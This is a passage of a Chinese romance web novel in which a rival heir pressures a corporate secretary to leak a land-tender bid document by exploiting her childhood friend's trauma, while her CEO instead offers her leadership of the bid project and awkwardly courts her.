虞晚心中各种情绪起伏交织,面上丝毫不显,她掀眼看陆屿森:“不用浪费时间自我介绍,陆先生直说吧,你究竟想干什么?”
陆屿森语气散漫,刻意拖着腔调:“虞小姐太心急,我来找你还能是为了谁,自然是为了我可怜的弟弟。”
“陆先生说笑了,送花束和礼物时留的可都是你的字。”虞晚眼眸冷淡。
陆屿森丝毫没有被戳穿的尴尬,耸耸肩,“一样的,想帮我弟弟,也想顺便追求一下虞小姐,可惜虞小姐对金钱不过敏,否则你现在就该靠在我怀里,不是吗?”
虞晚面无表情,听着陆屿森一会扯陆随身世,一会儿扯陆随的隐瞒,变来变去没个定论,还说什么送花送礼物只是想追求她。
要是信了他的鬼话,虞晚白在傅知尧手下干这么久的活儿了。
因此,虞晚表情没有丝毫波动。
独角戏谁都会演累,见虞晚不上钩,陆屿森直接甩出重磅炸弹——
无数张仿佛滑不到尽头的心理诊疗报告。
显示陆随从二十岁到如今的精神状况和疾病,严重的焦虑躯体化症、神经性厌食症、失眠障碍、双相……下方是陆随服用的各类药物,长长一串全是她看不懂的专业名词,有些是英文,有些是中文,但名字越是复杂,说明病症越严重。
虞晚喉咙干涩发紧,放在桌下的手死死攥在一起。
“噢,我是不是忘了说为什么。”陆屿森将手机拿回,点了点,再次递到虞晚面前。
手机屏幕上播放着一段视频,虽然是静音,但她仍旧能清楚认出来跪在地上被人用鞭子抽打的身影是陆随。
不是现在二十五岁的陆随,是七八岁的陆随。
小小的身躯瘦得背上肋骨清晰可见,被长鞭用力抽打,无力跪倒,额头擦着地砖,痛苦地想要躲避,嘴里不停念叨着什么,眼泪混合着血水往下流,即便视频没有声音,也在虞晚心底振聋发聩,声声入耳,那是陆随求救的声音。
虞晚心痛到无法呼吸。
将近十八年的消失与不联系,背后隐藏着这样令她心碎的真相,虞晚宁愿陆随当年是被收养家庭带去了其他城市,更名换姓生活得快乐无忧所以才会忘记她。
她宁愿是这个理由。
诊疗报告上的一字一句,屏幕上播放的每一帧画面像是被人用刀子强势刻进她脑海。
她不是相信陆屿森,她是相信自己眼睛看到的,陆随的不对劲其实一直有迹可循,刻意表现出来的轻松畅快,吃饭时甚至比她吃得还少,问他为什么,陆随只说早餐吃太多,在她移开视线时,投来的淡淡的带着忧愁的眸光。
如果陆随哥真的有心理疾病,为什么要在她面前装作正常人,谁会刻意揣摩一个正常人有心理疾病呢。
“你到底想做什么?”虞晚终于开口,嗓音是她自己都没察觉的沙哑。
陆屿森定定看着虞晚,阳光从玻璃窗倾斜洒入,落在两人身上,却不能带来丝毫温度,男人缓缓开口,眼眸半弯,话语却强势透着寒意:“新贸大厦投标书,还陆随自由。”
新贸大厦,一个于九十年代初建立起来的商贸大厦,后来因为海市经济中心偏移逐渐荒废,土地使用权一直被政府捏在手里,这两年由于政府的规划,新贸大厦附近被逐步开发利用,地铁、公交等铺设到位,但新贸大厦如同一尊长满锈的铜像始终没人关注踏足,由于长期没有人管理,建筑物年限也快到了,政府生了招标开发的念头。
几家大点的企业目前都盯上了这块肥肉,意图争夺这块地的所属权,除了看重新贸大厦这个名号,更为新贸大厦背后代表的,将近400多公顷的土地使用权,无论是圈地搞开发,还是和知名IP联动打造乐园,都是稳赚不赔的买卖。
虞晚作为秘书,虽然不会亲手制作标书,但来往中总有机会拿到标书,复印一份偷偷带出来不是难事。
只是……知道陆随长久不联系她的真相不意味着她要选择背叛公司。
这件事没有丝毫可能。
虞晚拎好包,站起身:“陆先生如果找我是为了这件事,大可断绝这个想法,如果不是为了解决你送来的花和礼物我根本不会出现在这里,陆先生以后不必再送了。”
陆屿森早知道虞晚是这个态度,但面上动作还是
要做一做,他拉住虞晚的手腕,稍微一用力,虞晚就被拽了回来。
陆屿森道:“虞小姐,不着急,你好好考虑,有兴趣给我打电话。”
说着,往虞晚包外侧的小口袋里塞了一张名片。
还未多说些什么,陆屿森手机响起,男人拿出来看一眼,果不其然是宋楚楚。
他淡定地挑了下眉,看着虞晚走出咖啡馆,削瘦纤细的身影消失在视野里,这才不紧不慢接通宋楚楚的电话。
“怎么了?宋大小姐。”
“回头。”
陆屿森转身,对上宋楚楚的死亡凝视。
他挑了下眉,挂断电话,坦荡地走到宋楚楚面前,居高临下:“我记得项目合作结束了吧,宋大小姐还有什么事情找我。”
宋楚楚死死盯着他,牙根咬得紧:“这话该我问你,你让人把我叫到这里,难道不是为了让我听你和虞晚聊天?”
陆屿森嘴角噙着笑,“哎呀抱歉,忘记是我叫你过来的,曾文芝让我今晚带你去家里吃饭,走吧,反正不用送虞晚回家,顺带捎上你咯。”
曾文芝是陆屿森的继母,因为陆决风,宋楚楚和她一直相处得不错,偶尔会被她叫去家里吃饭。
宋楚楚没有挪动,眉间带着怒气,直勾勾看着陆屿森:“你刚刚和虞晚说的都是真的?”
“你指什么?陆决风的心理诊疗报告还是让虞晚帮忙拿投标书?”陆屿森薄唇弯了弯,语气嘲讽:“宋楚楚,识趣点,陆决风宁愿死都不愿意和你在一起,何必强求不属于你的东西,金钱、权力难道不比一个男人好?”
陆屿森手臂搭上宋楚楚肩膀,附在宋楚楚耳边开口,声音宛如一条滴着涎水的毒蛇,粘腻、冰冷:“宋叔叔似乎没有参与新贸大厦竞标的想法,这怎么行,难不成是想攒点钱留给他儿子?那你和于阿姨怎么办?嫁不了陆决风,遗产又抢不过那个私生子,我要是你,我急死了。”
宋楚楚猛地拍开陆屿森的手掌,心绪全然乱成一团,脸色肉眼可见得发白:“别胡说了,决风哥不可能不喜欢我,虞晚她根本不算什么,她不过是个可怜的孤儿!”
陆屿森要的就是这个效果。
发到宋楚楚邮箱内有关陆决风和虞晚的合照是他做的,但他没想到宋楚楚居然连质问陆决风都不敢,每天和小媳妇儿一样对他弟弟嘘寒问暖,现在被他戳破真相,居然还在想爱来爱去的事情,宛如扶不上墙的烂泥。
陆屿森眼里带着讥讽,给出最后一击:“打个赌,陆决风出差回来,第一个见的一定是虞晚。”
宋楚楚猛地抬头,对上陆屿森那双漆黑冰冷的眼。
第69章
鉴于陆随在出差,虞晚没有直接询问陆屿森的事情,而是委婉问他什么时候回海市,能不能见面聊聊。
陆随消息回得很快:【是有什么事情需要我帮忙吗,你前两天询问我有没有时间也是指这件事吗?】
虞晚连忙打字:【不,不是,和那件事没有关系,和陆随哥你有关。】
陆随:【我吗?】
虞晚:【嗯,很多话不方便发消息,所以等你回海市再聊,可以吗?】
陆随:【当然可以。】
退出聊天框,陆随漆黑的眼眸瞬间凛然,他知道当天虞晚给他发消息的原因,只要虞晚没有受伤,其余的他并不关注。
但虞晚给他发消息说要见面,还强调是因为他,这背后肯定有其他原因。
陆随滑动联系列表,发了条消息出去,片刻,收到回复。
扫了眼屏幕上的信息,陆随起身,缓步走到落地窗前,脚底是车水马龙的都市,华灯初上,高楼大厦建筑物半笼罩在明亮的光中,半隐匿在夜色里,美轮美奂。
陆随给陆屿森打去电话,电话接通,那端传来震耳欲聋的音乐声和鼓点声。
好在陆随已经习惯,并没有将手机放在耳边,等陆屿森那边安静下来才开口:“你找过虞晚。”
陆屿森喝了酒,神志有些飘,他倚在窗户上,脊背微弓,嘴边衔着一根烟,穿着吊带身材热辣的女人贴上来,给他点了火,陆屿森将她搂住亲了一口,女人媚眼如丝看他一眼,施施然离开。
阳台这边只剩他一个人,陆屿森掸了掸烟灰,漫不经心:“你打电话就是为这事儿。”
“你和她说了什么?”
陆随语气硬冷,陆屿森能明显察觉他的不爽,“怎么?这是开始和我算账?那你未免也太迟了些,我可是半个月前就开始给她送花了。”
“别转移话题。”
“行行行,我的好弟弟,我只是为了帮你,有病就早点说,女孩子呢,最吃装可怜这一套,我帮你早点戳破这层窗户纸,你该感谢我才对。”
“你知道我说的不是这个。”
陆屿森眯了眯眼,吸了一口烟,将剩余的在窗户上揿灭,“你说新贸?顺手的事,傅知尧要是知道你和虞晚的关系,你觉得他还会让虞晚当秘书?我这是在给她机会,让她交投名状。”
“别发疯。”陆随声音里隐隐透着一股威胁:“也别再去找虞晚,否则,我不介意将这个项目拱手让给曾文芝。”
要说陆屿森对陆家财富没一点惦记陆随是不信的,陆屿森最擅长的不过是伪装,表面上是沉溺于吃喝享乐的纨绔子弟,背地里挑拨离间的事情没少干,利用他同曾文芝博弈,将屿风的话事权牢牢掌控在陆家人手中。
至于他的继母,陆屿森恐怕就等着陆宗信一死,就把曾文芝逼去国外自生自灭。
陆屿森毕竟是陆宗信儿子,虎毒不食子,陆宗信对陆屿森不会差到哪里去,但有曾文芝在,一切就是个变量。
因此,最能拿捏陆屿森的不是陆宗信,而是曾文芝。
“呵,伟大的爱情。”陆屿森直起身,鼻腔里轻嗤一声,“行,我不动虞晚,但我要新贸,我的好弟弟,能办到吗?”
陆随没有回答。
陆屿森也不逼他,这不是还有宋楚楚吗?
相信宋楚楚会给出令他满意的结果。
宋楚楚不知道自己是如何回到家的,整个人像是被抽去了精气般魂不守舍,她今天收到的冲击已经够多了,恐怕比她这辈子都要多。
陆决风为了接近虞晚刻意隐瞒身份;陆决风喜欢的一直都是虞晚;陆决风有心理疾病;她那个和透明人一样的父亲居然在外面有私生子!
宋楚楚并不是为了和陆屿森赌什么,但当她看到陆屿森回复的消息后,一颗心像是从高处摔落,成了一滩烂泥。
决风哥:【抱歉,那天有事,不能和你见面。】
宋楚楚死死盯着那一行字,直到眼睛变得干涩,最终,失去全部力气滑坐到地上,她抬手抓住自己头发,表情痛苦扭曲。
为什么,为什么?
决风哥不是在她生日的时候送给她一条定制的高奢礼裙吗,在生日会上,不是还接受了她的邀请,和她一起跳舞吗。
为什么他心里最在乎的还是虞晚?!
如果决风哥真的像陆屿森说的那样,有很严重的心理疾
病,她该怎么办。
心理疾病能治好吗,她是不是要等决风哥心理疾病好了才能和他在一起。
不,就算决风哥有心理疾病她也能和他在一起,她可以陪他慢慢把病治好,或许决风哥会因为她的陪伴爱上她,但要多久呢?她等得起吗?
在此之前,还有虞晚这个阻碍。
她和决风哥分明也是青梅竹马,她和决风哥认识、相处的时间绝对比虞晚多,为什么决风哥就是对虞晚念念不忘呢。
还有那个该死的私生子,她以为能稳稳继承的财产最后也要分一半给别人吗?
宋楚楚想到这里,已经害怕恐慌到流出眼泪,她不能接受,不能接受决风哥被抢走,也不能接受本该属于她的财富被其他人分走。
她不能接受!
叩叩叩。
敲门声响起,是于荷雅的声音:“楚楚,徐姐说你不太对劲,妈妈能进来看看吗?”
于荷雅声音轻柔,一贯的耐心温和,彷佛能包容她所有的小脾气。
宋楚楚将门打开,扑进于荷雅怀里,终于放声痛哭起来,“妈妈,我好难受啊,我真的真的好难受……”
于荷雅抱着宋楚楚,任由她靠在自己怀里哭泣,温暖的手掌心轻拍过宋楚楚脊背,“没关系的,没关系的,告诉妈妈发生了什么,妈妈会为你解决的,这世上除了生死,一切的问题都不是问题,你是妈妈的女儿,相信妈妈就好,妈妈会为你摆平一切。”
在于荷雅的安抚下,宋楚楚缓缓停止抽泣,她从于荷雅怀抱中脱身,眼眶通红地看向她,颤着嗓开口:“真的吗,妈妈。”
于荷雅露出一个淡然从容的笑:“当然是真的。”-
因为国庆调休,虞晚本周只有一天假,周日正常上班,便将和陆随的见面时间定在周六下午,顺便一起吃顿晚饭。
本以为昨晚警告过陆屿森,他不会再送花,但虞晚仍旧收到前台小赵发来的消息:【虞秘书,又有你的花!】
虞晚蹙了蹙眉。
虞晚:【莹莹,送你了,我就不下楼了。】
赵莹莹:【不行的,虞秘书,虽然我很喜欢这束花,但是这束花里面还有张小卡片,要不然,虞秘书你下来看看?】
虞晚放下手机,还是下了趟楼。
小赵一脸八卦地冲虞晚眨眨眼,将花束抱到虞晚面前:“虞秘书,你给我使个眼色,是不是昨天那位跑车男送的?不过这束花是花店员工送来的,我问了问员工,他说是某个穿西装的大帅哥昨天晚上去店里预定的,和之前我签收花束不一样,之前的花束都是外送软件下单的。”
虞晚哪里知道这个,她只是头疼,还好她没和陆屿森在公司大楼前多费口舌,否则,陆屿森要是多待一会儿,恐怕底裤都会被扒个底朝天。
在公司楼下公然和对手公司总裁待在一起,虞晚就是跳进黄河都洗不清。
对上小赵好奇的脸,虞晚直掐命门:“你要是再好奇,我下次就不帮你抢你偶像的演唱会门票了。”
小赵窒息:“……”
她捂着心口,夸张地连连后退,“不,不要!”
总裁办网速快,这次国庆节她偶像的演唱会门票更是无数个人在盯着,赵莹莹找了好几个人帮忙,最后还是虞秘书靠网速和手速帮她抢了一张。
小赵委屈瘪嘴,“我不好奇就是了,虞秘书,下次有演唱会你还是帮帮我吧,我继续请你喝半个月奶茶。”
虞晚不过是逗她的,“好了,我开玩笑的,认真工作吧,你周日志是不是还没写完,小心被季主管批评。”
“收到!”小赵嘻嘻哈哈地说。
虞晚笑了笑,抱着花束朝电梯走去。
偌大的花束实在是显眼,粗略估计九十多朵,虞晚双手抱着都费劲儿,漂亮娇美的奶油杯黄玫瑰,花瓣饱满厚实,层次多,嫩黄的渐变色调,从中间的花蕊朝边缘过渡转为奶油白,色彩柔和,花香并不浓郁,整体包装设计相较之前陆屿森送的高级了不止一个档次。
虞晚心里隐隐有个猜测,等看到花束中那张半个巴掌大的纯白纸片时,虞晚就彻底明白了是谁送的。
上面只有三个字:对不起
虞晚:“……”
电梯门在这时打开,关彦轩踏了进来,看到虞晚,脚步一滞,看到虞晚怀里的花束,又是一愣。
“关总监好。”虞晚连忙将纸片塞进花束中,同关彦轩打招呼。
“嗯。”
关彦轩回神,按了电梯楼层,站到虞晚身侧。
电梯内安宁无比,没有一个人开口说话,关彦轩眼角余光从虞晚身上扫过,今天的虞晚比前几天精神多了。
一字肩亚麻针织短袖配浅棕伞裙,衣服线条简约干净,腰部褶皱让视觉重心集中,微卷的长发被黑色发夹别到耳朵,露出干净白皙的一张脸,耳垂上戴着枚水滴形银色耳环,即便抱着花,脊背依旧笔直,气质淡雅,比起纯粹直观冲击力强的浓颜,多了一种可以细细审阅的知性美。
关彦轩缓慢收回眼角余光。
傅知尧和虞晚最近关系的冷凝他不是不知道,尽管他可以在此时趁虚而入做一个卑鄙的掠夺者,但早在知道傅知尧喜欢虞晚时他就已经做了逃兵,选择放弃,他不认为自己配得上虞晚的喜欢,因此,在之后的工作交接中,如非必要,他几乎不会出现在虞晚面前。
而现在,看虞晚的状态,他们是又和好了吗?
第70章
与此同时,总裁办公室内。
傅知尧接到人事总监何城打来的电话,电话那端,何城措辞谨慎,几乎是提着嗓子眼说话。
“傅总,虞秘书,虞秘书她是不是……”
何城原本是想委婉点,但想到傅知尧的性子,索性眼一闭,心一横说了出来:“虞秘书是打算离职吗?傅氏旗下鑫润食品公司收到了她的简历,该公司人事看过她的简历,因为不太清楚我们总部职员构成,一时无法核实简历真实性,于是转送到了我这边,我仔细核对了简历中的信息以及白底证件照,确认那就是虞秘书。”
傅知尧一个用力,手里中性笔差点被掰断。
他不明白,昨天才和虞晚聊过,今天就听到何城说虞晚在另投简历,傅知尧恨不得立刻将虞晚拉进办公室问问。
是不是一定要辞职?是不是在对他那时的冷待发泄无形的不满?还是说要他亲口说出那句道歉才会留在公司?
傅知尧脑子里一瞬闪过无数个想法,情绪和压缩机一般,轰隆着抽缩快要运转到极致理智。
到底还是在几个深呼吸间镇定下来,傅知尧反问何城:“你收到虞秘书的离职申请书了?”
何城悻悻然:“没有。”
况且,虞秘书如果真的想离职,不该把离职申请书交给傅总吗?他顶多在虞秘书离职后使用权限,将虞秘书的公司内部员工登陆账号禁止登陆罢了。
电话那边傅知尧还在问:“招聘软件上虞秘书回消息了吗?”
这个何城知道:“没有,虞秘书一直是不在线状态,鑫润的人事问了好几次,虞秘书都没有回复。”
傅知尧不自觉挺直脊背,底气回来了,声音也敞亮了几分:“那就别乱揣测,虞秘书说不定只是习惯实时更新个人简历,作为对入职后工作的回顾和总结,这事你当不知道,也别让其他人拿这事做文章,寒了虞秘书的心。”
何城:“……”
寒心?寒虞秘书的心?
寒的分明是他何城的心!
他好歹在公司兢兢业业干了快九年,什么时候能得到傅知尧这样一句贴心话?
挂了电话,何城扯了张纸巾擦额头上渗出来的汗。
说实话,何城并不意外虞秘书有辞职想法。
傅总性格在这儿摆着呢,虞秘书一个年轻小姑娘就算面上不说,背地里大概也被气哭过,但虞秘书个性坚韧,不服输,一步一个脚印走到现在,工作成就
大家有目共睹,现在想换个公司,换个平台发展,他能理解。
年轻人,就该有点闯劲儿。
不过出于私心,何城是不希望虞秘书离职的,虞秘书态度好,工作端正,不懂不会乱来,充当着将傅总冷冰冰的命令转化为正常人说话口吻的桥梁作用,每次听虞秘书转达傅总的命令,何城恨不得带头鼓掌。
看到虞秘书将简历误投到傅氏旗下公司时,何城不由得为虞秘书捏一把汗。
他毕竟是人事总监,看到了不能不说,否则就是隐瞒,再者,他就算有心替虞秘书隐瞒也绝对逃不过傅知尧的法眼,这点公司里许多离职的前辈们已经给出了答案。
何城决定这两天有空就出去逛逛,遇上虞秘书了,同她吱个声,透个底。
虞晚抱着一束花回到顶层,途中经过前台,自然接收到来自孙柠暧昧探究的小眼神。
虞晚不可能告诉她是傅知尧送的,原本两人就在怀疑过她和傅知尧的关系,得知傅知尧和瑾潼姐解除婚约后,更是大胆鼓励她追爱,要是知道傅知尧送花道歉,两人岂不是要炸上天?
所以,虞晚没有解释,干巴巴眨了两下眼,默默让那位神秘的‘森先生’继续背锅。
至于这束花,虞晚是不敢像之前那样分成好几份让孙柠帮忙送去其他部门,共享‘美丽’。
她总觉得她要是敢这么做,傅知尧铁定在她面前表演翻脸。
为了不惹大魔王,虞晚将旧笔记本拿出来,准备将道歉的纯白卡片放进去,但笔记本里夹有东西,随手一翻,夹有纸张的那页便暴露出来。
是一张写着傅知尧名字的草稿纸。
那是傅知尧送她手机时往‘垃圾箱’里随手放入的草稿纸,傅知尧三个字刚健遒劲,柔美和力量感兼具,除了‘傅’字的单人旁因为钢笔笔尖墨水略干涸,初落笔时显得有几分滞涩,其余笔画如行云流水般顺畅。
那么多废稿里,只有这一张写了傅知尧的名字,扔进碎纸机前,虞晚鬼使神差地保留了这张被遗弃的稿纸。
此刻看到,虞晚有几分恍惚。
将写着对不起的卡片同签有傅知尧名字的纸张再次夹进旧笔记本,虞晚合上笔记本,将其锁进抽屉。
随后耐心收拾出咖啡机旁的空位,将直径约为一双手臂合抱的花束摆上去,退后了两步欣赏。
倒是可惜了这些漂亮的花,只能放在她们总裁办。
蔡秘书在饮水机旁接了杯水,等虞晚摆好花,凑过去闻了闻,在花束和虞晚之间来回看了看。
蔡秘书:“虞晚,这里有九十九朵吧,铁定有这么多,否则这花不可能这么大,你都可以装进去。”
虞晚:“应该吧,我没数过。”
尚秘书也好奇走过来,观察了一会儿,道:“虞晚啊,这送黄玫瑰的和前段时间送花的不是一个人吧?”
虞晚颇有些拘谨,主要是她把尚秘书当长辈,忽然被长辈关注,虞晚难免不自在,不过她有些好奇。
“为什么不是一个人送的?”
尚秘书指了指花:“包装和花束大小,前段时间送的花每次都会夹杂点其他的陪衬花材,更显眼漂亮,这束花过于素净了些,只有一种花,不像同一个人的风格,而且,这束花就像是蔡杨说的,多,非常多,比前段时间送的都多。”
虞晚不是每次都会把花束拿回办公室,尚志风也就是偶尔看到几次,但还是有印象的。
虞晚看着面前黄灿灿的花瓣,眼眸微敛,还没想好要怎么回答,办公室门被人敲了两下。
傅知尧站在门口,视线从花束上短暂掠过,最终落在虞晚身上,语气公事公办:“虞秘书来我办公室一趟。”
说完,傅知尧便转身进了办公室。
剩余三人对视一眼,尚秘书老神在在地背过手,“虞秘书,我有预感,你有喜事了。”
蔡秘书也学着尚秘书,意味深长地点头:“没错,你大概率要升职了。”
虞晚虽然很想拉着蔡秘书问问为什么,但碍于傅知尧在等她,还是按捺住好奇,快步跟上去,顺手将办公室门掩上。
“老板。”
傅知尧站在光洁干净的落地窗前,听见虞晚声音,转过身来,逆着光的方向,将男人穿着西装的身影勾勒得高大挺拔,五官深邃俊逸,散发着属于上位者和成熟男人的强烈压迫感。
总裁办公室十点后基本是背阳状态,光线充盈却并不刺眼,这个角度,虞晚看不清傅知尧的表情,她干脆绕过会客区沙发走到傅知尧面前站定。
“老板,您找我。”
对上虞晚漆黑的眼,傅知尧难得有种闪躲逃避的念头。
他方才已经认真看过虞晚的简历,简历中,虞晚对进入傅氏后的工作经历和重点项目陈述深入到位,是他看了都挑不出毛病的一份优秀简历。
学历这种东西,在项目经验、个人能力和沟通协作前不值一提。
傅知尧敢肯定,这份简历投出去,被其他公司看中录用是分分钟的事情,他倒是想直白询问虞晚重写简历是不是为了离职做打算,但他到底没有问出口。
从虞晚没有回复HR信息可知,她修改简历只是做退路打算,离职意愿并不强烈,或者说,离职意愿和他直接挂钩。
傅知尧看着虞晚:“你还记得你昨天在我办公室说过的话吗?你说接受将你调去其他部门的决定,但如果我现在明确告诉你,暂时没有将你调去其他部门的念头,你是怎么想的?”
虞晚有些微的困惑。
傅知尧说这话绝不是无的放矢,那他是什么意思,暂时没有将她调去其他部门的念头意思是让她继续留在总裁办?留在总裁办当然可以,职位职级没有变动,工资照常发,那她所渴求的升职机会呢?
虞晚沉吟片刻,道:“老板,我可能我昨天说得不够清楚,我的想法其实从未变过,我不希望自己未来只能当一个秘书,我接受您的安排是相信您对公司职员位置的调整不会因为个人喜好或情绪而草率。”
傅知尧忽视她那段时间,虞晚并没有在工作中被边缘化,整日忙碌线下快闪活动,在参与策划过程中后知后觉领悟傅知尧的目的,山外青山楼外楼,虞晚做过几个有成就的项目,没飘到目中无人的程度,但不得不说,见到那些市场部同事处理工作的能力和效率后,虞晚意识到自己还有充裕的进步空间。
从总裁办起步,行政部、策划部、收购部、财务部、法务部、市场部……,虞秘书的身份在一个又一个的合作中被认可,朋友圈人脉扩充无数。
因此,虞晚不会因为傅知尧之前的冷待就决绝和他翻脸,比起表层的东西,虞晚更看重傅知尧能实际给予的东西。
管他是笨猫还是坏猫,能抓老鼠的就是好猫。
对上傅知尧狭长黑沉的眼眸,虞晚顿了两秒,眼睫轻颤,语气却坚定:“如果老板您对我的期望只是当好一个秘书,我会考虑离职去其他平台发展。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
70-80
第71章
这句话可能有些伤人,但虞晚必须说。
家世、成长经历、性格、长相已经固定,虞晚无法改变,未来缥缈模糊,却是唯一被她自己握在手中的东西。
与其纠结无法改变的,不如明确能改变的。
虞晚有自知之明,以她的学历和背景,去其他公司基本就是端茶倒水的小角色,一辈子都不可能有所长进,但她运气不错,进了总裁办,陆陆续续学到了许多为人处事、沟通交流的技巧,不断参与到项目中去实践领悟。
可以说,没有傅知尧的信任和认可,她就只是个普通的行政员工虞晚。
她对傅知尧始终心存感激,但如果让她一辈子拿死工资,整日重复枯燥的工作,当被他人看做附属品的秘书,虞晚无法,也不能接受。
空气彷佛停止流动,虞晚在静默中等待傅知尧的回答。
听到虞晚亲口承认有辞职想法,说心如止水就太虚伪了,毕竟之前虞晚干得好好的,半点辞职想法都没有,这是他种的因,他就得承受这个果。
但联系虞晚话语前后含义,傅知尧的挫败和伤感又逐渐被欣喜取代。
他确信,虞晚想要的职业发展,他完全给得起,他有着其他追求者都比不上的优势——
他足够信任虞晚,愿意给虞晚机会让她放手一搏。
傅知尧眉梢微抬,俯身,拿起茶几上的一份文件,递到虞晚面前,简明扼要,语气颇有几分恣意矜傲。
“那虞秘书可以将自己的离职计划扔掉了。”
虞晚慢半拍接过傅知尧手中文件,翻开,内页赫然写着几个字:新贸大厦土地招标公告。
虞晚呼吸不自觉提起,愣了两秒,呆呆看向傅知尧。
“老板,
您的意思是……?”
“新贸大厦土地使用权拿下来,该项目从投标到后期开发利用由虞秘书你全权负责,项目竣工,虞秘书就不再是虞秘书,尧安百货缺一位副总,虞秘书有兴趣吗?”
毫不夸张,傅知尧看见虞晚眼睛蹭一下亮了起来,闪动着显而易见的雀跃,比外头日光还要晃眼灼热。
傅知尧唇角微弯,努力表情管理。
片刻,虞晚眼底的喜色褪去,恢复冷静,她微微蹙眉:“如果新贸的地皮我们公司没能拿下呢?”
“虞秘书一定要考虑失败的情况吗?”傅知尧朝虞晚比划了一个数字,定定看着她:“六十亿美元。虞秘书有信心吗?”
虞晚心脏跳动一次比一次剧烈狂躁,几乎要按捺不住从胸腔里跳出来,沸腾的热度沿着血管脉络从心脏传遍全身,莫名让虞晚有种踩在云端的不真切感。
六十亿美元可以吗?
绝对可以!
昨天回家后,虞晚详细搜索了新贸大厦资料,确认新贸大厦以及附属土地区域总面积约为408公顷,即4.08平方公里,且此次投标的地块报价为6.72亿,满打满算用2亿美元拿下,还有将近五十八亿美元的可利用资金空间。
竞价这方面傅氏不会输,但投标可不只是出价这么简单,投标文件里除了标价还需明确土地的规划方案,方便评标专家选择中标方,签订土地使用权让出合同后,土地使用权不能转让给其他人,更不能随意更换土地用途,且有开发期限,这就能解释为什么有些地皮明明有归属方,却成了闲地,或者开发动工到一半直接烂尾,最惨的还是竣工却无法拿到相关许可证,房子空着成了鬼城。
简言之,拿下新贸大厦的地皮算不得什么,能不能将项目规划落地实现盈利才是真正的考验。
而她能承担起六十亿美元的项目责任吗?
更何况还有陆屿森这个觊觎投标书的隐形炸弹,虞晚的自信心就和蜗牛触角一样,刚伸出来就怯怯准备缩进去。
傅知尧像是看出来虞晚的迟疑,在她拒绝前开口:“招标公告五天前发布,距离投标截止还有一个月时间,虞晚,三天内给我回复,可以吗?”
三天时间,如果只是考虑接不接手这个项目,已经很充裕了。
虞晚垂眸安静片刻,应下:“老板,谢谢您对我的信任,我会认真考虑的,如果我对新贸大厦投标没有好的项目规划,选择拒绝,您能不能继续让我参与进投标书的策划,我想……”
“可以。”
干脆利落的两个字,让虞晚愣了愣。
傅知尧瞳孔深邃,倒映出她浅浅的面容轮廓:“虞晚,你说你的想法没变,我的想法也是,和听彩收购那次一样,是好是坏都拿来给我看看,让你带领项目,不是让你一个人单打独斗,你会有自己的团队,团队内成员如何配合,项目进程如何推进,安全隐患如何防范、避免、消除,这些问题我相信你会处理好,如果不能,为什么不来问我,还是你觉得我不再值得你信任了?”
虞晚捏着文件的指尖不自觉收紧,嗓音干涩:“老板,那是六十亿美元。”
不是六百万,不是六千万,是将近三百七十亿人民币。
傅知尧对她的信任量化为三百七十亿这个具体的数字,同等换算,相当于她将自己存款中的二十五万交给傅知尧投资,一旦亏损,二十五万全部打水漂,她只剩下孤零零的一万块。
这简直要了她的命。
看到虞晚的表情,傅知尧眉眼舒展开来,有闲心地开起玩笑:“如果我说六十亿美元不多,你会不会觉得我是在吹嘘显摆?”
毕竟是四百多公顷的地皮,这个金额只是傅知尧预估的投资额,实际可能比这个金额更高。
他说出投资额不过是为了增强虞晚的信心,但虞晚要是在他面前提出开发房地产、打造现代化商圈这种烂计划,他会毫不犹豫否定,毕竟信任归信任,六十亿美元可不是小孩的玩具钞票。
傅知尧正色:“虞秘书别被数字冲昏头脑,公司每分每秒都在进账,但资金也在每分每秒消耗,一次性拿出三百七十亿现金,傅氏还没猖狂到那种程度,这三百七十亿里,还需要找其他投资方匀一匀。”
这个虞晚还是明白的。
听彩收购那次,傅氏也不是直接拿出现金像买大白菜一样将听彩装进口袋,这其中还要稍稍用一些合理的避税手段,降低收购成本,实现双方效益最大化。
“这个问题虞秘书可以多考虑考虑,我不着急要一个回答。”
傅知尧说着,背对她朝办公桌方向走去,漫不经心抛下一句话:“虞秘书,我刚看到你们办公室里那束花了,是又有人给你送花了吗,你看起来挺喜欢的,知道是谁送的吗?”
虞晚:“……”
傅知尧话题转移速度过快,虞晚差点没反应过来。
要不是知道花是傅知尧送的,她都要以为是傅知尧没有分寸感,故意当着她的面叨叨她私生活。
于是她答:“不知道。”
“不知道?”傅知尧转过身看着虞晚,一脸匪夷:“不知道你还把花摆桌上,你不该扔了吗?”
虞晚语气十足平静:“花是无辜的,摆在办公室还能当装饰品,老板您需要吗,我可以拆几枝出来摆在您桌上。”
傅知尧:“……”
他真的要被虞晚气死了。
八卦群里说的果真没错,虞晚,鱼丸,滑不溜秋,摔一下弹得比你还要高的鱼丸!
傅知尧深吸一口气。
没关系,看虞晚说话这样子,她应该知道那束道歉的花是他送的,所以不仅没有扔,也没有像之前那样拆开到处分,反而认真摆到桌子上,是不是说明虞晚也有点喜欢他?
这就够了。
管那位森先生给虞晚送多少花送多少礼物,管那位森先生是不是昨天和虞晚聊过,甚至一起吃过饭,管那位森先生最后有没有送虞晚回家,管那么多都没意思。
虞晚不喜欢对方,这就够了。
傅知尧心绪百转千回后落定。
他翻开桌上文件,里面夹着两张音乐剧的门票,傅知尧拿起那两张音乐剧门票,一副稍显困扰的表情:“虞秘书,朋友送了我两张音乐剧门票,就在明日下午,你有时间吗,要不要一起去看看,据说是国外剧团在内地的首场演出,看看放松也挺不错的。”
最重要的是,这场音乐剧看完就是六点,刚好能顺理成章约顿晚饭。
这也是小程教他的。
选择傍晚约会,不会像正午那样闷热,看完音乐剧,吃晚饭时还能聊聊近况,即便没有话题,餐厅菜品、服务态度、内部环境都是现成的话题,吐槽或者称赞可以在无形中拉近距离,最重要的,吃完晚饭,他还能送虞晚回家。
一举三得。
对上傅知尧暗含期待的眼神,虞晚居然比方才回应离职想法时更紧张:“老板,我周六下午有约了。”
傅知尧手一僵,愣
了好几秒,重新将音乐剧门票放到桌上,“没事,毕竟这周假期只有一天,你想和朋友一起聚聚很正常,这门票是朋友给我的,也不是我刻意去买的,不去看也没什么,反正剧团不会只在国内演一场,以后还有机会,机会多得是,对吧?”
虞晚抿了抿唇:“……嗯。”
周□□点,偌大的会场灯光暗下去,周围聊天的窸窣声跟着隐没,酒红色帷幕在悠扬的音乐声中缓缓拉起,穿着华丽戏服的演员登场,音乐、台词一切完美得恰到好处。
周瞿洋看得正专注,注意到一旁频频投来目光的傅知尧。
周瞿洋:“……”
